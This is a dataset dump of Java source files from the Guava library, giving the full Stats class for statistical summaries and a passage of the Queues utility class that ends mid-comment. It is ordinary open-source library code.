guava/src/com/google/common/base/Utf8.java
368
/* * Copyright (C) 2012 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.math; import static com.google.common.base.Preconditions.checkArgument; import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.base.Preconditions.checkState; import static com.google.common.math.DoubleUtils.ensureNonNegative; import static com.google.common.math.StatsAccumulator.calculateNewMeanNonFinite; import static com.google.common.primitives.Doubles.isFinite; import static java.lang.Double.NaN; import static java.lang.Double.doubleToLongBits; import static java.lang.Double.isNaN; import com.google.common.annotations.GwtIncompatible; import com.google.common.annotations.J2ktIncompatible; import com.google.common.base.MoreObjects; import com.google.common.base.Objects; import java.io.Serializable; import java.nio.ByteBuffer; import java.nio.ByteOrder; import java.util.Iterator; import java.util.stream.Collector; import java.util.stream.DoubleStream; import java.util.stream.IntStream; import java.util.stream.LongStream; import javax.annotation.CheckForNull; /** * A bundle of statistical summary values -- sum, count, mean/average, min and max, and several * forms of variance -- that were computed from a single set of zero or more floating-point values. * * <p>There are two ways to obtain a {@code Stats} instance: * * <ul> * <li>If all the values you want to summarize are already known, use the appropriate {@code * Stats.of} factory method below. Primitive arrays, iterables and iterators of any kind of * {@code Number}, and primitive varargs are supported. * <li>Or, to avoid storing up all the data first, create a {@link StatsAccumulator} instance, * feed values to it as you get them, then call {@link StatsAccumulator#snapshot}. * </ul> * * <p>Static convenience methods called {@code meanOf} are also provided for users who wish to * calculate <i>only</i> the mean. * * <p><b>Java 8+ users:</b> If you are not using any of the variance statistics, you may wish to use * built-in JDK libraries instead of this class. * * @author Pete Gillin * @author Kevin Bourrillion * @since 20.0 */ @J2ktIncompatible @GwtIncompatible @ElementTypesAreNonnullByDefault public final class Stats implements Serializable { private final long count; private final double mean; private final double sumOfSquaresOfDeltas; private final double min; private final double max; /** * Internal constructor. Users should use {@link #of} or {@link StatsAccumulator#snapshot}. * * <p>To ensure that the created instance obeys its contract, the parameters should satisfy the * following constraints. This is the callers responsibility and is not enforced here. * * <ul> * <li>If {@code count} is 0, {@code mean} may have any finite value (its only usage will be to * get multiplied by 0 to calculate the sum), and the other parameters may have any values * (they will not be used). * <li>If {@code count} is 1, {@code sumOfSquaresOfDeltas} must be exactly 0.0 or {@link * Double#NaN}. * </ul> */ Stats(long count, double mean, double sumOfSquaresOfDeltas, double min, double max) { this.count = count; this.mean = mean; this.sumOfSquaresOfDeltas = sumOfSquaresOfDeltas; this.min = min; this.max = max; } /** * Returns statistics over a dataset containing the given values. * * @param values a series of values, which will be converted to {@code double} values (this may * cause loss of precision) */ public static Stats of(Iterable<? extends Number> values) { StatsAccumulator accumulator = new StatsAccumulator(); accumulator.addAll(values); return accumulator.snapshot(); } /** * Returns statistics over a dataset containing the given values. The iterator will be completely * consumed by this method. * * @param values a series of values, which will be converted to {@code double} values (this may * cause loss of precision) */ public static Stats of(Iterator<? extends Number> values) { StatsAccumulator accumulator = new StatsAccumulator(); accumulator.addAll(values); return accumulator.snapshot(); } /** * Returns statistics over a dataset containing the given values. * * @param values a series of values */ public static Stats of(double... values) { StatsAccumulator accumulator = new StatsAccumulator(); accumulator.addAll(values); return accumulator.snapshot(); } /** * Returns statistics over a dataset containing the given values. * * @param values a series of values */ public static Stats of(int... values) { StatsAccumulator accumulator = new StatsAccumulator(); accumulator.addAll(values); return accumulator.snapshot(); } /** * Returns statistics over a dataset containing the given values. * * @param values a series of values, which will be converted to {@code double} values (this may * cause loss of precision for longs of magnitude over 2^53 (slightly over 9e15)) */ public static Stats of(long... values) { StatsAccumulator accumulator = new StatsAccumulator(); accumulator.addAll(values); return accumulator.snapshot(); } /** * Returns statistics over a dataset containing the given values. The stream will be completely * consumed by this method. * * <p>If you have a {@code Stream<Double>} rather than a {@code DoubleStream}, you should collect * the values using {@link #toStats()} instead. * * @param values a series of values * @since 28.2 */ public static Stats of(DoubleStream values) { return values .collect(StatsAccumulator::new, StatsAccumulator::add, StatsAccumulator::addAll) .snapshot(); } /** * Returns statistics over a dataset containing the given values. The stream will be completely * consumed by this method. * * <p>If you have a {@code Stream<Integer>} rather than an {@code IntStream}, you should collect * the values using {@link #toStats()} instead. * * @param values a series of values * @since 28.2 */ public static Stats of(IntStream values) { return values .collect(StatsAccumulator::new, StatsAccumulator::add, StatsAccumulator::addAll) .snapshot(); } /** * Returns statistics over a dataset containing the given values. The stream will be completely * consumed by this method. * * <p>If you have a {@code Stream<Long>} rather than a {@code LongStream}, you should collect the * values using {@link #toStats()} instead. * * @param values a series of values, which will be converted to {@code double} values (this may * cause loss of precision for longs of magnitude over 2^53 (slightly over 9e15)) * @since 28.2 */ public static Stats of(LongStream values) { return values .collect(StatsAccumulator::new, StatsAccumulator::add, StatsAccumulator::addAll) .snapshot(); } /** * Returns a {@link Collector} which accumulates statistics from a {@link java.util.stream.Stream} * of any type of boxed {@link Number} into a {@link Stats}. Use by calling {@code * boxedNumericStream.collect(toStats())}. The numbers will be converted to {@code double} values * (which may cause loss of precision). * * <p>If you have any of the primitive streams {@code DoubleStream}, {@code IntStream}, or {@code * LongStream}, you should use the factory method {@link #of} instead. * * @since 28.2 */ public static Collector<Number, StatsAccumulator, Stats> toStats() { return Collector.of( StatsAccumulator::new, (a, x) -> a.add(x.doubleValue()), (l, r) -> { l.addAll(r); return l; }, StatsAccumulator::snapshot, Collector.Characteristics.UNORDERED); } /** Returns the number of values. */ public long count() { return count; } /** * Returns the <a href="http://en.wikipedia.org/wiki/Arithmetic_mean">arithmetic mean</a> of the * values. The count must be non-zero. * * <p>If these values are a sample drawn from a population, this is also an unbiased estimator of * the arithmetic mean of the population. * * <h3>Non-finite values</h3> * * <p>If the dataset contains {@link Double#NaN} then the result is {@link Double#NaN}. If it * contains both {@link Double#POSITIVE_INFINITY} and {@link Double#NEGATIVE_INFINITY} then the * result is {@link Double#NaN}. If it contains {@link Double#POSITIVE_INFINITY} and finite values * only or {@link Double#POSITIVE_INFINITY} only, the result is {@link Double#POSITIVE_INFINITY}. * If it contains {@link Double#NEGATIVE_INFINITY} and finite values only or {@link * Double#NEGATIVE_INFINITY} only, the result is {@link Double#NEGATIVE_INFINITY}. * * <p>If you only want to calculate the mean, use {@link #meanOf} instead of creating a {@link * Stats} instance. * * @throws IllegalStateException if the dataset is empty */ public double mean() { checkState(count != 0); return mean; } /** * Returns the sum of the values. * * <h3>Non-finite values</h3> * * <p>If the dataset contains {@link Double#NaN} then the result is {@link Double#NaN}. If it * contains both {@link Double#POSITIVE_INFINITY} and {@link Double#NEGATIVE_INFINITY} then the * result is {@link Double#NaN}. If it contains {@link Double#POSITIVE_INFINITY} and finite values * only or {@link Double#POSITIVE_INFINITY} only, the result is {@link Double#POSITIVE_INFINITY}. * If it contains {@link Double#NEGATIVE_INFINITY} and finite values only or {@link * Double#NEGATIVE_INFINITY} only, the result is {@link Double#NEGATIVE_INFINITY}. */ public double sum() { return mean * count; } /** * Returns the <a href="http://en.wikipedia.org/wiki/Variance#Population_variance">population * variance</a> of the values. The count must be non-zero. * * <p>This is guaranteed to return zero if the dataset contains only exactly one finite value. It * is not guaranteed to return zero when the dataset consists of the same value multiple times, * due to numerical errors. However, it is guaranteed never to return a negative result. * * <h3>Non-finite values</h3> * * <p>If the dataset contains any non-finite values ({@link Double#POSITIVE_INFINITY}, {@link * Double#NEGATIVE_INFINITY}, or {@link Double#NaN}) then the result is {@link Double#NaN}. * * @throws IllegalStateException if the dataset is empty */ public double populationVariance() { checkState(count > 0); if (isNaN(sumOfSquaresOfDeltas)) { return NaN; } if (count == 1) { return 0.0; } return ensureNonNegative(sumOfSquaresOfDeltas) / count(); } /** * Returns the <a * href="http://en.wikipedia.org/wiki/Standard_deviation#Definition_of_population_values"> * population standard deviation</a> of the values. The count must be non-zero. * * <p>This is guaranteed to return zero if the dataset contains only exactly one finite value. It * is not guaranteed to return zero when the dataset consists of the same value multiple times, * due to numerical errors. However, it is guaranteed never to return a negative result. * * <h3>Non-finite values</h3> * * <p>If the dataset contains any non-finite values ({@link Double#POSITIVE_INFINITY}, {@link * Double#NEGATIVE_INFINITY}, or {@link Double#NaN}) then the result is {@link Double#NaN}. * * @throws IllegalStateException if the dataset is empty */ public double populationStandardDeviation() { return Math.sqrt(populationVariance()); } /** * Returns the <a href="http://en.wikipedia.org/wiki/Variance#Sample_variance">unbiased sample * variance</a> of the values. If this dataset is a sample drawn from a population, this is an * unbiased estimator of the population variance of the population. The count must be greater than * one. * * <p>This is not guaranteed to return zero when the dataset consists of the same value multiple * times, due to numerical errors. However, it is guaranteed never to return a negative result. * * <h3>Non-finite values</h3> * * <p>If the dataset contains any non-finite values ({@link Double#POSITIVE_INFINITY}, {@link * Double#NEGATIVE_INFINITY}, or {@link Double#NaN}) then the result is {@link Double#NaN}. * * @throws IllegalStateException if the dataset is empty or contains a single value */ public double sampleVariance() { checkState(count > 1); if (isNaN(sumOfSquaresOfDeltas)) { return NaN; } return ensureNonNegative(sumOfSquaresOfDeltas) / (count - 1); } /** * Returns the <a * href="http://en.wikipedia.org/wiki/Standard_deviation#Corrected_sample_standard_deviation"> * corrected sample standard deviation</a> of the values. If this dataset is a sample drawn from a * population, this is an estimator of the population standard deviation of the population which * is less biased than {@link #populationStandardDeviation()} (the unbiased estimator depends on * the distribution). The count must be greater than one. * * <p>This is not guaranteed to return zero when the dataset consists of the same value multiple * times, due to numerical errors. However, it is guaranteed never to return a negative result. * * <h3>Non-finite values</h3> * * <p>If the dataset contains any non-finite values ({@link Double#POSITIVE_INFINITY}, {@link * Double#NEGATIVE_INFINITY}, or {@link Double#NaN}) then the result is {@link Double#NaN}. * * @throws IllegalStateException if the dataset is empty or contains a single value */ public double sampleStandardDeviation() { return Math.sqrt(sampleVariance()); } /** * Returns the lowest value in the dataset. The count must be non-zero. * * <h3>Non-finite values</h3> * * <p>If the dataset contains {@link Double#NaN} then the result is {@link Double#NaN}. If it * contains {@link Double#NEGATIVE_INFINITY} and not {@link Double#NaN} then the result is {@link * Double#NEGATIVE_INFINITY}. If it contains {@link Double#POSITIVE_INFINITY} and finite values * only then the result is the lowest finite value. If it contains {@link * Double#POSITIVE_INFINITY} only then the result is {@link Double#POSITIVE_INFINITY}. * * @throws IllegalStateException if the dataset is empty */ public double min() { checkState(count != 0); return min; } /** * Returns the highest value in the dataset. The count must be non-zero. * * <h3>Non-finite values</h3> * * <p>If the dataset contains {@link Double#NaN} then the result is {@link Double#NaN}. If it * contains {@link Double#POSITIVE_INFINITY} and not {@link Double#NaN} then the result is {@link * Double#POSITIVE_INFINITY}. If it contains {@link Double#NEGATIVE_INFINITY} and finite values * only then the result is the highest finite value. If it contains {@link * Double#NEGATIVE_INFINITY} only then the result is {@link Double#NEGATIVE_INFINITY}. * * @throws IllegalStateException if the dataset is empty */ public double max() { checkState(count != 0); return max; } /** * {@inheritDoc} * * <p><b>Note:</b> This tests exact equality of the calculated statistics, including the floating * point values. Two instances are guaranteed to be considered equal if one is copied from the * other using {@code second = new StatsAccumulator().addAll(first).snapshot()}, if both were * obtained by calling {@code snapshot()} on the same {@link StatsAccumulator} without adding any * values in between the two calls, or if one is obtained from the other after round-tripping * through java serialization. However, floating point rounding errors mean that it may be false * for some instances where the statistics are mathematically equal, including instances * constructed from the same values in a different order... or (in the general case) even in the * same order. (It is guaranteed to return true for instances constructed from the same values in * the same order if {@code strictfp} is in effect, or if the system architecture guarantees * {@code strictfp}-like semantics.) */ @Override public boolean equals(@CheckForNull Object obj) { if (obj == null) { return false; } if (getClass() != obj.getClass()) { return false; } Stats other = (Stats) obj; return count == other.count && doubleToLongBits(mean) == doubleToLongBits(other.mean) && doubleToLongBits(sumOfSquaresOfDeltas) == doubleToLongBits(other.sumOfSquaresOfDeltas) && doubleToLongBits(min) == doubleToLongBits(other.min) && doubleToLongBits(max) == doubleToLongBits(other.max); } /** * {@inheritDoc} * * <p><b>Note:</b> This hash code is consistent with exact equality of the calculated statistics, * including the floating point values. See the note on {@link #equals} for details. */ @Override public int hashCode() { return Objects.hashCode(count, mean, sumOfSquaresOfDeltas, min, max); } @Override public String toString() { if (count() > 0) { return MoreObjects.toStringHelper(this) .add("count", count) .add("mean", mean) .add("populationStandardDeviation", populationStandardDeviation()) .add("min", min) .add("max", max) .toString(); } else { return MoreObjects.toStringHelper(this).add("count", count).toString(); } } double sumOfSquaresOfDeltas() { return sumOfSquaresOfDeltas; } /** * Returns the <a href="http://en.wikipedia.org/wiki/Arithmetic_mean">arithmetic mean</a> of the * values. The count must be non-zero. * * <p>The definition of the mean is the same as {@link Stats#mean}. * * @param values a series of values, which will be converted to {@code double} values (this may * cause loss of precision) * @throws IllegalArgumentException if the dataset is empty */ public static double meanOf(Iterable<? extends Number> values) { return meanOf(values.iterator()); } /** * Returns the <a href="http://en.wikipedia.org/wiki/Arithmetic_mean">arithmetic mean</a> of the * values. The count must be non-zero. * * <p>The definition of the mean is the same as {@link Stats#mean}. * * @param values a series of values, which will be converted to {@code double} values (this may * cause loss of precision) * @throws IllegalArgumentException if the dataset is empty */ public static double meanOf(Iterator<? extends Number> values) { checkArgument(values.hasNext()); long count = 1; double mean = values.next().doubleValue(); while (values.hasNext()) { double value = values.next().doubleValue(); count++; if (isFinite(value) && isFinite(mean)) { // Art of Computer Programming vol. 2, Knuth, 4.2.2, (15) mean += (value - mean) / count; } else { mean = calculateNewMeanNonFinite(mean, value); } } return mean; } /** * Returns the <a href="http://en.wikipedia.org/wiki/Arithmetic_mean">arithmetic mean</a> of the * values. The count must be non-zero. * * <p>The definition of the mean is the same as {@link Stats#mean}. * * @param values a series of values * @throws IllegalArgumentException if the dataset is empty */ public static double meanOf(double... values) { checkArgument(values.length > 0); double mean = values[0]; for (int index = 1; index < values.length; index++) { double value = values[index]; if (isFinite(value) && isFinite(mean)) { // Art of Computer Programming vol. 2, Knuth, 4.2.2, (15) mean += (value - mean) / (index + 1); } else { mean = calculateNewMeanNonFinite(mean, value); } } return mean; } /** * Returns the <a href="http://en.wikipedia.org/wiki/Arithmetic_mean">arithmetic mean</a> of the * values. The count must be non-zero. * * <p>The definition of the mean is the same as {@link Stats#mean}. * * @param values a series of values * @throws IllegalArgumentException if the dataset is empty */ public static double meanOf(int... values) { checkArgument(values.length > 0); double mean = values[0]; for (int index = 1; index < values.length; index++) { double value = values[index]; if (isFinite(value) && isFinite(mean)) { // Art of Computer Programming vol. 2, Knuth, 4.2.2, (15) mean += (value - mean) / (index + 1); } else { mean = calculateNewMeanNonFinite(mean, value); } } return mean; } /** * Returns the <a href="http://en.wikipedia.org/wiki/Arithmetic_mean">arithmetic mean</a> of the * values. The count must be non-zero. * * <p>The definition of the mean is the same as {@link Stats#mean}. * * @param values a series of values, which will be converted to {@code double} values (this may * cause loss of precision for longs of magnitude over 2^53 (slightly over 9e15)) * @throws IllegalArgumentException if the dataset is empty */ public static double meanOf(long... values) { checkArgument(values.length > 0); double mean = values[0]; for (int index = 1; index < values.length; index++) { double value = values[index]; if (isFinite(value) && isFinite(mean)) { // Art of Computer Programming vol. 2, Knuth, 4.2.2, (15) mean += (value - mean) / (index + 1); } else { mean = calculateNewMeanNonFinite(mean, value); } } return mean; } // Serialization helpers /** The size of byte array representation in bytes. */ static final int BYTES = (Long.SIZE + Double.SIZE * 4) / Byte.SIZE; /** * Gets a byte array representation of this instance. * * <p><b>Note:</b> No guarantees are made regarding stability of the representation between * versions. */ public byte[] toByteArray() { ByteBuffer buff = ByteBuffer.allocate(BYTES).order(ByteOrder.LITTLE_ENDIAN); writeTo(buff); return buff.array(); } /** * Writes to the given {@link ByteBuffer} a byte representation of this instance. * * <p><b>Note:</b> No guarantees are made regarding stability of the representation between * versions. * * @param buffer A {@link ByteBuffer} with at least BYTES {@link ByteBuffer#remaining}, ordered as * {@link ByteOrder#LITTLE_ENDIAN}, to which a BYTES-long byte representation of this instance * is written. In the process increases the position of {@link ByteBuffer} by BYTES. */ void writeTo(ByteBuffer buffer) { checkNotNull(buffer); checkArgument( buffer.remaining() >= BYTES, "Expected at least Stats.BYTES = %s remaining , got %s", BYTES, buffer.remaining()); buffer .putLong(count) .putDouble(mean) .putDouble(sumOfSquaresOfDeltas) .putDouble(min) .putDouble(max); } /** * Creates a Stats instance from the given byte representation which was obtained by {@link * #toByteArray}. * * <p><b>Note:</b> No guarantees are made regarding stability of the representation between * versions. */ public static Stats fromByteArray(byte[] byteArray) { checkNotNull(byteArray); checkArgument( byteArray.length == BYTES, "Expected Stats.BYTES = %s remaining , got %s", BYTES, byteArray.length); return readFrom(ByteBuffer.wrap(byteArray).order(ByteOrder.LITTLE_ENDIAN)); } /** * Creates a Stats instance from the byte representation read from the given {@link ByteBuffer}. * * <p><b>Note:</b> No guarantees are made regarding stability of the representation between * versions. * * @param buffer A {@link ByteBuffer} with at least BYTES {@link ByteBuffer#remaining}, ordered as * {@link ByteOrder#LITTLE_ENDIAN}, from which a BYTES-long byte representation of this * instance is read. In the process increases the position of {@link ByteBuffer} by BYTES. */ static Stats readFrom(ByteBuffer buffer) { checkNotNull(buffer); checkArgument( buffer.remaining() >= BYTES, "Expected at least Stats.BYTES = %s remaining , got %s", BYTES, buffer.remaining()); return new Stats( buffer.getLong(), buffer.getDouble(), buffer.getDouble(), buffer.getDouble(), buffer.getDouble()); } private static final long serialVersionUID = 0; }
google/guava
guava/src/com/google/common/math/Stats.java
369
/* * Copyright (C) 2011 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.collect; import com.google.common.annotations.GwtCompatible; import com.google.common.annotations.GwtIncompatible; import com.google.common.annotations.J2ktIncompatible; import com.google.common.base.Preconditions; import com.google.errorprone.annotations.CanIgnoreReturnValue; import java.util.ArrayDeque; import java.util.Collection; import java.util.Deque; import java.util.PriorityQueue; import java.util.Queue; import java.util.concurrent.ArrayBlockingQueue; import java.util.concurrent.BlockingQueue; import java.util.concurrent.ConcurrentLinkedQueue; import java.util.concurrent.LinkedBlockingDeque; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.PriorityBlockingQueue; import java.util.concurrent.SynchronousQueue; import java.util.concurrent.TimeUnit; import org.checkerframework.checker.nullness.qual.Nullable; /** * Static utility methods pertaining to {@link Queue} and {@link Deque} instances. Also see this * class's counterparts {@link Lists}, {@link Sets}, and {@link Maps}. * * @author Kurt Alfred Kluever * @since 11.0 */ @GwtCompatible(emulated = true) @ElementTypesAreNonnullByDefault public final class Queues { private Queues() {} // ArrayBlockingQueue /** * Creates an empty {@code ArrayBlockingQueue} with the given (fixed) capacity and nonfair access * policy. */ @J2ktIncompatible @GwtIncompatible // ArrayBlockingQueue public static <E> ArrayBlockingQueue<E> newArrayBlockingQueue(int capacity) { return new ArrayBlockingQueue<>(capacity); } // ArrayDeque /** * Creates an empty {@code ArrayDeque}. * * @since 12.0 */ public static <E> ArrayDeque<E> newArrayDeque() { return new ArrayDeque<>(); } /** * Creates an {@code ArrayDeque} containing the elements of the specified iterable, in the order * they are returned by the iterable's iterator. * * @since 12.0 */ public static <E> ArrayDeque<E> newArrayDeque(Iterable<? extends E> elements) { if (elements instanceof Collection) { return new ArrayDeque<>((Collection<? extends E>) elements); } ArrayDeque<E> deque = new ArrayDeque<>(); Iterables.addAll(deque, elements); return deque; } // ConcurrentLinkedQueue /** Creates an empty {@code ConcurrentLinkedQueue}. */ @J2ktIncompatible @GwtIncompatible // ConcurrentLinkedQueue public static <E> ConcurrentLinkedQueue<E> newConcurrentLinkedQueue() { return new ConcurrentLinkedQueue<>(); } /** * Creates a {@code ConcurrentLinkedQueue} containing the elements of the specified iterable, in * the order they are returned by the iterable's iterator. */ @J2ktIncompatible @GwtIncompatible // ConcurrentLinkedQueue public static <E> ConcurrentLinkedQueue<E> newConcurrentLinkedQueue( Iterable<? extends E> elements) { if (elements instanceof Collection) { return new ConcurrentLinkedQueue<>((Collection<? extends E>) elements); } ConcurrentLinkedQueue<E> queue = new ConcurrentLinkedQueue<>(); Iterables.addAll(queue, elements); return queue; } // LinkedBlockingDeque /** * Creates an empty {@code LinkedBlockingDeque} with a capacity of {@link Integer#MAX_VALUE}. * * @since 12.0 */ @J2ktIncompatible @GwtIncompatible // LinkedBlockingDeque public static <E> LinkedBlockingDeque<E> newLinkedBlockingDeque() { return new LinkedBlockingDeque<>(); } /** * Creates an empty {@code LinkedBlockingDeque} with the given (fixed) capacity. * * @throws IllegalArgumentException if {@code capacity} is less than 1 * @since 12.0 */ @J2ktIncompatible @GwtIncompatible // LinkedBlockingDeque public static <E> LinkedBlockingDeque<E> newLinkedBlockingDeque(int capacity) { return new LinkedBlockingDeque<>(capacity); } /** * Creates a {@code LinkedBlockingDeque} with a capacity of {@link Integer#MAX_VALUE}, containing * the elements of the specified iterable, in the order they are returned by the iterable's * iterator. * * @since 12.0 */ @J2ktIncompatible @GwtIncompatible // LinkedBlockingDeque public static <E> LinkedBlockingDeque<E> newLinkedBlockingDeque(Iterable<? extends E> elements) { if (elements instanceof Collection) { return new LinkedBlockingDeque<>((Collection<? extends E>) elements); } LinkedBlockingDeque<E> deque = new LinkedBlockingDeque<>(); Iterables.addAll(deque, elements); return deque; } // LinkedBlockingQueue /** Creates an empty {@code LinkedBlockingQueue} with a capacity of {@link Integer#MAX_VALUE}. */ @J2ktIncompatible @GwtIncompatible // LinkedBlockingQueue public static <E> LinkedBlockingQueue<E> newLinkedBlockingQueue() { return new LinkedBlockingQueue<>(); } /** * Creates an empty {@code LinkedBlockingQueue} with the given (fixed) capacity. * * @throws IllegalArgumentException if {@code capacity} is less than 1 */ @J2ktIncompatible @GwtIncompatible // LinkedBlockingQueue public static <E> LinkedBlockingQueue<E> newLinkedBlockingQueue(int capacity) { return new LinkedBlockingQueue<>(capacity); } /** * Creates a {@code LinkedBlockingQueue} with a capacity of {@link Integer#MAX_VALUE}, containing * the elements of the specified iterable, in the order they are returned by the iterable's * iterator. * * @param elements the elements that the queue should contain, in order * @return a new {@code LinkedBlockingQueue} containing those elements */ @J2ktIncompatible @GwtIncompatible // LinkedBlockingQueue public static <E> LinkedBlockingQueue<E> newLinkedBlockingQueue(Iterable<? extends E> elements) { if (elements instanceof Collection) { return new LinkedBlockingQueue<>((Collection<? extends E>) elements); } LinkedBlockingQueue<E> queue = new LinkedBlockingQueue<>(); Iterables.addAll(queue, elements); return queue; } // LinkedList: see {@link com.google.common.collect.Lists} // PriorityBlockingQueue /** * Creates an empty {@code PriorityBlockingQueue} with the ordering given by its elements' natural * ordering. * * @since 11.0 (but the bound of {@code E} was changed from {@code Object} to {@code Comparable} * in 15.0) */ @SuppressWarnings("rawtypes") // https://github.com/google/guava/issues/989 @J2ktIncompatible @GwtIncompatible // PriorityBlockingQueue public static <E extends Comparable> PriorityBlockingQueue<E> newPriorityBlockingQueue() { return new PriorityBlockingQueue<>(); } /** * Creates a {@code PriorityBlockingQueue} containing the given elements. * * <p><b>Note:</b> If the specified iterable is a {@code SortedSet} or a {@code PriorityQueue}, * this priority queue will be ordered according to the same ordering. * * @since 11.0 (but the bound of {@code E} was changed from {@code Object} to {@code Comparable} * in 15.0) */ @SuppressWarnings("rawtypes") // https://github.com/google/guava/issues/989 @J2ktIncompatible @GwtIncompatible // PriorityBlockingQueue public static <E extends Comparable> PriorityBlockingQueue<E> newPriorityBlockingQueue( Iterable<? extends E> elements) { if (elements instanceof Collection) { return new PriorityBlockingQueue<>((Collection<? extends E>) elements); } PriorityBlockingQueue<E> queue = new PriorityBlockingQueue<>(); Iterables.addAll(queue, elements); return queue; } // PriorityQueue /** * Creates an empty {@code PriorityQueue} with the ordering given by its elements' natural * ordering. * * @since 11.0 (but the bound of {@code E} was changed from {@code Object} to {@code Comparable} * in 15.0) */ @SuppressWarnings("rawtypes") // https://github.com/google/guava/issues/989 public static <E extends Comparable> PriorityQueue<E> newPriorityQueue() { return new PriorityQueue<>(); } /** * Creates a {@code PriorityQueue} containing the given elements. * * <p><b>Note:</b> If the specified iterable is a {@code SortedSet} or a {@code PriorityQueue}, * this priority queue will be ordered according to the same ordering. * * @since 11.0 (but the bound of {@code E} was changed from {@code Object} to {@code Comparable} * in 15.0) */ @SuppressWarnings("rawtypes") // https://github.com/google/guava/issues/989 public static <E extends Comparable> PriorityQueue<E> newPriorityQueue( Iterable<? extends E> elements) { if (elements instanceof Collection) { return new PriorityQueue<>((Collection<? extends E>) elements); } PriorityQueue<E> queue = new PriorityQueue<>(); Iterables.addAll(queue, elements); return queue; } // SynchronousQueue /** Creates an empty {@code SynchronousQueue} with nonfair access policy. */ @J2ktIncompatible @GwtIncompatible // SynchronousQueue public static <E> SynchronousQueue<E> newSynchronousQueue() { return new SynchronousQueue<>(); } /** * Drains the queue as {@link BlockingQueue#drainTo(Collection, int)}, but if the requested {@code * numElements} elements are not available, it will wait for them up to the specified timeout. * * @param q the blocking queue to be drained * @param buffer where to add the transferred elements * @param numElements the number of elements to be waited for * @param timeout how long to wait before giving up * @return the number of elements transferred * @throws InterruptedException if interrupted while waiting * @since 28.0 */ @CanIgnoreReturnValue @J2ktIncompatible @GwtIncompatible // BlockingQueue public static <E> int drain( BlockingQueue<E> q, Collection<? super E> buffer, int numElements, java.time.Duration timeout) throws InterruptedException { // TODO(b/126049426): Consider using saturateToNanos(timeout) instead. return drain(q, buffer, numElements, timeout.toNanos(), TimeUnit.NANOSECONDS); } /** * Drains the queue as {@link BlockingQueue#drainTo(Collection, int)}, but if the requested {@code * numElements} elements are not available, it will wait for them up to the specified timeout. * * @param q the blocking queue to be drained * @param buffer where to add the transferred elements * @param numElements the number of elements to be waited for * @param timeout how long to wait before giving up, in units of {@code unit} * @param unit a {@code TimeUnit} determining how to interpret the timeout parameter * @return the number of elements transferred * @throws InterruptedException if interrupted while waiting */ @CanIgnoreReturnValue @J2ktIncompatible @GwtIncompatible // BlockingQueue @SuppressWarnings("GoodTime") // should accept a java.time.Duration public static <E> int drain( BlockingQueue<E> q, Collection<? super E> buffer, int numElements, long timeout, TimeUnit unit) throws InterruptedException { Preconditions.checkNotNull(buffer); /* * This code performs one System.nanoTime() more than necessary, and in return, the time to * execute Queue#drainTo is not added *on top* of waiting for the timeout (which could make * the timeout arbitrarily inaccurate, given a queue that is slow to drain). */ long deadline = System.nanoTime() + unit.toNanos(timeout); int added = 0; while (added < numElements) { // we could rely solely on #poll, but #drainTo might be more efficient when there are multiple // elements already available (e.g. LinkedBlockingQueue#drainTo locks only once) added += q.drainTo(buffer, numElements - added); if (added < numElements) { // not enough elements immediately available; will have to poll E e = q.poll(deadline - System.nanoTime(), TimeUnit.NANOSECONDS); if (e == null) { break; // we already waited enough, and there are no more elements in sight } buffer.add(e); added++; } } return added; } /** * Drains the queue as {@linkplain #drain(BlockingQueue, Collection, int, Duration)}, but with a * different behavior in case it is interrupted while waiting. In that case, the operation will * continue as usual, and in the end the thread's interruption status will be set (no {@code * InterruptedException} is thrown). * * @param q the blocking queue to be drained * @param buffer where to add the transferred elements * @param numElements the number of elements to be waited for * @param timeout how long to wait before giving up * @return the number of elements transferred * @since 28.0 */ @CanIgnoreReturnValue @J2ktIncompatible @GwtIncompatible // BlockingQueue public static <E> int drainUninterruptibly( BlockingQueue<E> q, Collection<? super E> buffer, int numElements, java.time.Duration timeout) { // TODO(b/126049426): Consider using saturateToNanos(timeout) instead. return drainUninterruptibly(q, buffer, numElements, timeout.toNanos(), TimeUnit.NANOSECONDS); } /** * Drains the queue as {@linkplain #drain(BlockingQueue, Collection, int, long, TimeUnit)}, but * with a different behavior in case it is interrupted while waiting. In that case, the operation * will continue as usual, and in the end the thread's interruption status will be set (no {@code * InterruptedException} is thrown). * * @param q the blocking queue to be drained * @param buffer where to add the transferred elements * @param numElements the number of elements to be waited for * @param timeout how long to wait before giving up, in units of {@code unit} * @param unit a {@code TimeUnit} determining how to interpret the timeout parameter * @return the number of elements transferred */ @CanIgnoreReturnValue @J2ktIncompatible @GwtIncompatible // BlockingQueue @SuppressWarnings("GoodTime") // should accept a java.time.Duration public static <E> int drainUninterruptibly( BlockingQueue<E> q, Collection<? super E> buffer, int numElements, long timeout, TimeUnit unit) { Preconditions.checkNotNull(buffer); long deadline = System.nanoTime() + unit.toNanos(timeout); int added = 0; boolean interrupted = false; try { while (added < numElements) { // we could rely solely on #poll, but #drainTo might be more efficient when there are // multiple elements already available (e.g. LinkedBlockingQueue#drainTo locks only once) added += q.drainTo(buffer, numElements - added); if (added < numElements) { // not enough elements immediately available; will have to poll E e; // written exactly once, by a successful (uninterrupted) invocation of #poll while (true) { try { e = q.poll(deadline - System.nanoTime(), TimeUnit.NANOSECONDS); break; } catch (InterruptedException ex) { interrupted = true; // note interruption and retry } } if (e == null) { break; // we already waited enough, and there are no more elements in sight } buffer.add(e); added++; } } } finally { if (interrupted) { Thread.currentThread().interrupt(); } } return added; } /** * Returns a synchronized (thread-safe) queue backed by the specified queue. In order to guarantee * serial access, it is critical that <b>all</b> access to the backing queue is accomplished * through the returned queue. * * <p>It is imperative that the user manually synchronize on the returned queue when accessing the * queue's iterator: * * <pre>{@code * Queue<E> queue = Queues.synchronizedQueue(MinMaxPriorityQueue.<E>create()); * ... * queue.add(element); // Needn't be in synchronized block * ... 